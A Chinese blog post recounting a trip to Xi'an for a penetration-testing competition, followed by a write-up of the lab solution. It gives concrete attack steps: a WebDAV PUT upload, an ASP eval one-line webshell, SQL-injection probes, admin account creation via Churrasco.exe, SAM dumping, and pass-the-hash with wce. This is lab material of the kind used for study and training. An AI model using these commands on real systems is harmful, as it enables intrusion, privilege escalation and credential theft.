当飞机到达咸阳机场已经接近午夜了,坐大巴前往西安,从古城下穿过,是灯火通明的钟鼓楼,记得北京也有钟鼓楼,何勇的有一首歌也叫钟鼓楼,
提起这个名字,总有一股历史的风尘扑面而来。下了大巴,被几个开三轮的大叔热情的招待,不过最后还是上了一辆出租车,向西点偏远的分校进发,路上和司机
闲谈,听说早晨的时候向南边望可以看到秦岭,听说西安到处都有加气站,听说当地人不经常去回民一条街,听说西安的汉字好客妹子奔放,不过在以为旅途劳顿,
我在车上困得不行,到达宾馆吃了一个夹馍,是把炸串夹到烧饼里面,非常好吃。
第二天,开始比赛,分为渗透和破解两部分题目,渗透是20 40 40 ,破解是 20 20 ,直接把最后的解题报告粘上吧,虽然拿到了最后的金牌服务器,但是因为没有其他队伍快,所以只有三等奖,不过还算圆满。
铜牌关:
扫描网站发现备份
查看内容发现images目录下已经存在一句话木马
使用一句话客户端上传木马
查看到KEY 文件
内容如下:
另外一种思路是使用ISS-PUT漏洞,主要与webDAV服务(Web-based Distributed AuthoringVersioning,基于Web的分布式创作和版本控制)扩展还有网站的一些权限设置有关系,
WebDAV (Web-based Distributed Authoring and Versioning) 一种基于 HTTP 1.1协议的通信协议.它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可直接对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。
具体的利用过程如下,用NC就可以做到,
PUT /dir/my_file.txt HTTP/1.1
Host: iis-server
Content-Length: 10
这时服务器会返回一个100( 继续)的信息:
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:00 GMT
接着,我们输入10个字母:
AAAAAAAAAA
送出这个请求后,看服务器的返回信息,如果是一个 201 Created响应:
HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:08 GMT
Location: http://iis-server/dir/my_file.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,
PROPPATCH, SEARCH, LOCK, UNLOCK
不过如果服务器的配置比较苛刻的话还是很麻烦的,本身的写入权限是不能写IIS所映射的脚本后缀的,
如果没有开启脚本资源访问,也不能通过remove给上传的文件改名
读取权限:用户可以访问网站的文件,建立网站的时候默认开启读取权限。
写入权限:用户可以写入文件到网站目录,也就是我们所说的写权限漏洞。
脚本资源访问:用户可以对网站目录的脚本文件有操作的权限,前提是开启读取或者写入权限,开启读取权限就有读取脚本文件(源代码)的权限,开启写入权限就有写入脚本文件的权限。
目录浏览:用户可以查看网站目录的所有文件和目录。前提是开启读取权限。
这个得到shell之后还有一个提权问题,使用的是Churrasco.exe提权,这里有可能管理员把cmd改变了位置或者是名字,我们可以自己上传一个
CMD.exe来执行命令
一、建立用户和提权
上传cmd.exe和Churrasco.exe到目录c:\recycler下,利用巴西烤肉Churrasco.exe建立管理员用户
在webshell里执行
添加用户命令c:\recycler\cmd.exe c:\recycler\Churrasco.exe "net user Random ******** /add"
执行添加到管理员组命令:c:\recycler\cmd.exe c:\recycler\Churrasco.exe "net localgroup administrators Random /add"
关于提权,一般是使用本地的一些溢出漏洞,这篇文章讲得很详细
http://hi.baidu.com/baiqqcom/item/57a1c31566ec520e8fbde462
登录到了web服务器之后,根据铜牌key的提示,服务器是同一人配置,那么可能出现相同的密码,使用wce,或者其他方法dump出hash并破解之
这个wce既可以破解sam密码,也可以进行hash注入,是一个比较强大的工具。
正常情况sam是不允许被访问的,取得它的内容可以用dump内存或者是,从注册表中访问
获取服务器主机的sam
命令:
reg save hklm\sam c:\sam
reg save hklm\system c:\system
使用ophcrack.exe利用彩虹表对其进行破解,破解的DMZ服务器(192.168.1.177)的系统管理员Sysman的用户密码为LocalPass!
四、利用破解的DMZ服务器(192.168.1.177)的用户sysman和密码LocalPass!远程登录服务器10.172.1.253
利用破解的DMZ服务器(192.168.1.177)的用户sysman和密码LocalPass!远程登录服务器10.172.1.253
得到银牌的key
这里说一下彩虹表破解SAM的HASH的方法,LM加密大致是这样,把前14位密码分为两部分,多的位数好像直接被丢掉了- -!
转换成大写然后,分别DES加个密,在简单的合起来,这样最长密码就是7位,很好破解,
后来的NTLM是直接给密码加一个MD4的散列,这就需要彩虹表之类的东西来破解。
如果用户设置了14位以上的密码,或者使用了NTML加密方式的话,ML-HASH加密那部分就没有用了,通常是AA3D或者AAD3开头,比如银牌key中就是这样,
这种情况密码,就比较难破解,这时候可以考虑HASH注入。
还有一点就是使用LM加密方式的时候,NTLM的HASH也是有效的。
金牌关:
通过银牌得知了,
用户名Jho???
和hash值aad3b435b51404eeaad3b435b51404ee:36671200e15d94720a222bf22079ba6f
因为无法破解hash,取得明文密码,所以决定使用hash注入的方法
发现域中有主机Jhon-pc,猜测用户名为Jhon,构造hash注入语句
wce
-s Jhon:TXTEST:aad3b435b51404eeaad3b435b51404ee:36671200e15d94720a222bf22079ba6f
可以访问10.1.1.1的Jhon主机,使用 net use X: \\10.1.1.1\C$ 映射目录
使用 net time 查看时间
使用at 10:10 \\10.1.1.1\ 执行脚本
这里面有一个,域环境,平常遇到的比较少,一般我们的电脑都是work group环境,domain比较少,一般会在大型内网采用,
这个加入Domain的主机有一种卖身的感觉,因为域策略是大于本机策略的,DC(domain cantroll)机器有最终的权限
进入domain之前需要验证domain的账户和密码,这些也是由DC完成的。
所以说每台机器上,都有域管理员的帐号,以及域用户的帐号,来方便大家登陆,所以只要取得域管理员的帐号就可以没有限制的访问
域内成员了,可以直接破解SAM,或者使用pass-the-hash技术,这个使用wce就可以做到
这篇文章的思路和本次比赛非常相近http://hi.baidu.com/seoezpsbtjfmrzr/item/343f5a33b7c9934b023edc56
这里说一下一个叫做PsExec.exe的工具,在麻烦的情况下可以代替3389,telnet等终端,返回一个可以互交的shell,只要把PsExec.exe放到可执行目录下就可以了·
最后得到Final Key
最后是上官方的解题报告
渗透决赛要点
#冷夜
1.DMZ服务器:得到webshell
——目标站1,静态页面,IIS-PUT漏洞,利用之上传shell。
|
|
——通过源码查看发现目标站2,ASP+ACCESS,存在or注入漏洞,得到根据版本信息注入得到账户密码
|
|
——通过robots.txt得到后台地址
|
|
——后台修改配置文件得到一句话shell
2.DMZ服务器提权
上传提权工具,得到管理员帐号密码,通过wce等工具获取系统帐号Sysman密码
在C:\获取key文件
3.渗透内网
在mstsc查看到另一ip登录记录【亦可通过日志查看】。
通过net use作为域内成员访问到另一ip的c盘,得到银牌文件
4.登录银牌服务器
使用Sysman登录,并选择【本地计算机】方可登录到03服务器
5.金牌key获取
在银牌得到提示
得到帐号【net view】查看到JHON-PC,域名【xdtest】,NTLM已给出
利用wce进行HASH注入,得到JHON权限,进而net use访问到JHON-PC的C盘
在RECELYER处得到金牌Key
=-=-=-=-=-=-=
过滤and与'
or注入
表名(根据版本)
SHL_Manager
列名
or exists(select * from SHL_Manager)
or exists(select id from SHL_Manager)
or exists(select user from SHL_Manager)
or exists(select pwd from SHL_Manager)
长度
or (select top 1 len(pwd) from SHL_Manager)>15
猜解
or (select mid(user,1,1) from admin)='a'//不可行
or (select top 1 asc(mid(user,1,1)) from SHL_Manager)>96
禁用JS,写shell
"%><%eval request("a")%><%s="